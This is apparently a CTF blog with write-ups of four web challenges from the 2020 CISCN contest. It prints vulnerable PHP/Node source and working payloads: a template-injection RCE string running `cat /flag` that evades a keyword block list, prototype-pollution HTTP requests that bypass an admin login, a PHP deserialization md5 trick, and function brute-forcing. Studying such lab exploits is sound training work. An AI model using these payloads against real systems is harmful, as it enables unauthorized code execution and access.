[2020全国大学生信息安全竞赛]easyphp
时间:2020年8月20日13:56:29
来源:2020国赛
解题过程:进去页面直接源码
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}
可以到利用的点应该是在phpinfo那里和call_user_func_array那里,看来只能找到有3个参数的函数了,最后两个还得是bool。大海捞针
看来只有把所有函数拿来爆破了:
$func = get_defined_functions();
print_r( $func['internal']);
先本地跑代码打印出所有内置函数,得到函数数组,在vscode里面用正则表达式替换一下符号和数字,得到txt字典
burpsuite打开后直接进入intuder里面爆破,可以看到
这几个函数直接爆出了phpinfo页面,说明触发了pcntl_wifexited($status)条件,虽然不知道这个status变量怎么得到的,但是还是在phpinfo页面直接得到了flag!
[2020全国大学生信息安全竞赛]rceme
时间:2020年8月20日17:05:22
来源:2020国赛
解题过程:进去页面直接源码
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}
82行代码,只有中间有个eval危险函数,并且里面装了变量。
首先parserIfLabel函数传入GET[a]变量,进入函数可以发现第一个正则表达式:
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
Google搜了一下这个正则,发现有CVE:zzzphp V1.6.0,这里的CVE跟这道题的有些代码是相似的,其中这个很重要的正则表达式就是一样的。
在这篇文章发现了payload可以匹配到这个正则:{if:1){}phpinfo();//};{end if}
然后本地搭建环境试一下这个payload,可以过一直过,直到
if ( preg_match( '/\{|}/', $ifstr))
这里,这里会匹配到{},所以过不了,在这句代码上echo一下$ifstr可以看到返回:1){
所以只需要去掉{
就可以绕过这个正则,然后1)
这个位置就变成了了我们想构造的ifstr变量,我们看执行命令的语句:
if( $ifstr ){$flag="if";}else{$flag="else";}
如果我们把
$ifstr = 1) echo `cmd`;if(1
执行命令的语句就会变成:
if(1) echo `cmd`;if(1){$flag="if";}else{$flag="else";}
从而达到执行命令的目的,而这时候传入的参数就变成了了:
a = {if: 1) echo `cmd`;if(1 {}phpinfo();//};{end if}
最后payload:
?a={if:1) echo `cat /flag`;if(1};{end if}
其中空格会被url编码成%20
从而得到flag!
[2020全国大学生信息安全竞赛]littlegame
时间:2020年8月20日22:37:45
来源:2020国赛
解题过程:本题下载源码,看了看源码,/routes/index.js里面貌似有很多POST提交页面,注意到有个/DeveloperControlPanel里面可以得到flag,但要使用admin[]数组里面正确的键值对才能登录成功,而在/Privilege里面可以发现修改值,可以想到js代码的原型链污染,目标是覆盖proto的某一个属性,类似于key=proto.xxx&value=xxx,set-value会解析proto.xxx 为target.proto.xxx=xxx,因为类的继承关系,之后每个变量都会有xxx属性了,所有引用类型(函数,数组,对象)都拥有__proto__
属性,之后Admin数组也就能够拥有这个属性,就可以构造一个账号登录进pannel了。
题目提示说是打恶龙,就先GET /SpawnPoint开始挑战。
GET /SpawnPoint HTTP/1.1
Host: eci-2zeahv20ya7wykdnpxe3.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: __jsluid_h=85f555b4a57439b637779078dc7b8027; session=s%3AHs8D7aAOAmN4B3gJ3hmPRTdhAkyFUCbe.EYLm3ew9mdZh4WA65yYyBRV0PDCToghuxmYc1kJhFBI
Upgrade-Insecure-Requests: 1
If-None-Match: W/"c-2OSwC4I6WVrN+q2Z0GStbqZd0io"
Cache-Control: max-age=0
后直接POST
POST /Privilege HTTP/1.1
Host: eci-2zeahv20ya7wykdnpxe3.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: __jsluid_h=85f555b4a57439b637779078dc7b8027; session=s%3AHs8D7aAOAmN4B3gJ3hmPRTdhAkyFUCbe.EYLm3ew9mdZh4WA65yYyBRV0PDCToghuxmYc1kJhFBI
Upgrade-Insecure-Requests: 1
If-None-Match: W/"c-2OSwC4I6WVrN+q2Z0GStbqZd0io"
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 66
{"NewAttributeKey":"__proto__.admin","NewAttributeValue":"admin1"}
修改父类属性,然后污染其余子类proto属性,接下来就是登录了:
POST /DeveloperControlPanel HTTP/1.1
Host: eci-2zeahv20ya7wykdnpxe3.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: __jsluid_h=85f555b4a57439b637779078dc7b8027; session=s%3AHs8D7aAOAmN4B3gJ3hmPRTdhAkyFUCbe.EYLm3ew9mdZh4WA65yYyBRV0PDCToghuxmYc1kJhFBI
Upgrade-Insecure-Requests: 1
If-None-Match: W/"c-2OSwC4I6WVrN+q2Z0GStbqZd0io"
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 35
{"key":"admin","password":"admin1"}
拿到flag{04439205-a592-4299-9b84-37eac3493c39}
[2020全国大学生信息安全竞赛]easytrick
时间:2020年8月24日11:29:36
来源:2020国赛
解题过程:这题是比赛完以后师傅们提示的trick,比赛的时候是晚上接近12点才看的这题,头已经很昏了,没思考清楚
进去看到源码:
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);
大概传入2个trick1,trick2是绕过2个限制得到flag
第一个是2个长度都必须<5
第二个就是2个md5比较
其实就很简单,trick1 = INF trick2 = 9e999就行了,弱类型比较,日常脑瘫了。
payload:O:5:"trick":2:{s:6:"trick1";d:INF;s:6:"trick2";d:9e999;}
这比赛,真就人均ak web,web手刚成长起来做出来的题没有成就感。。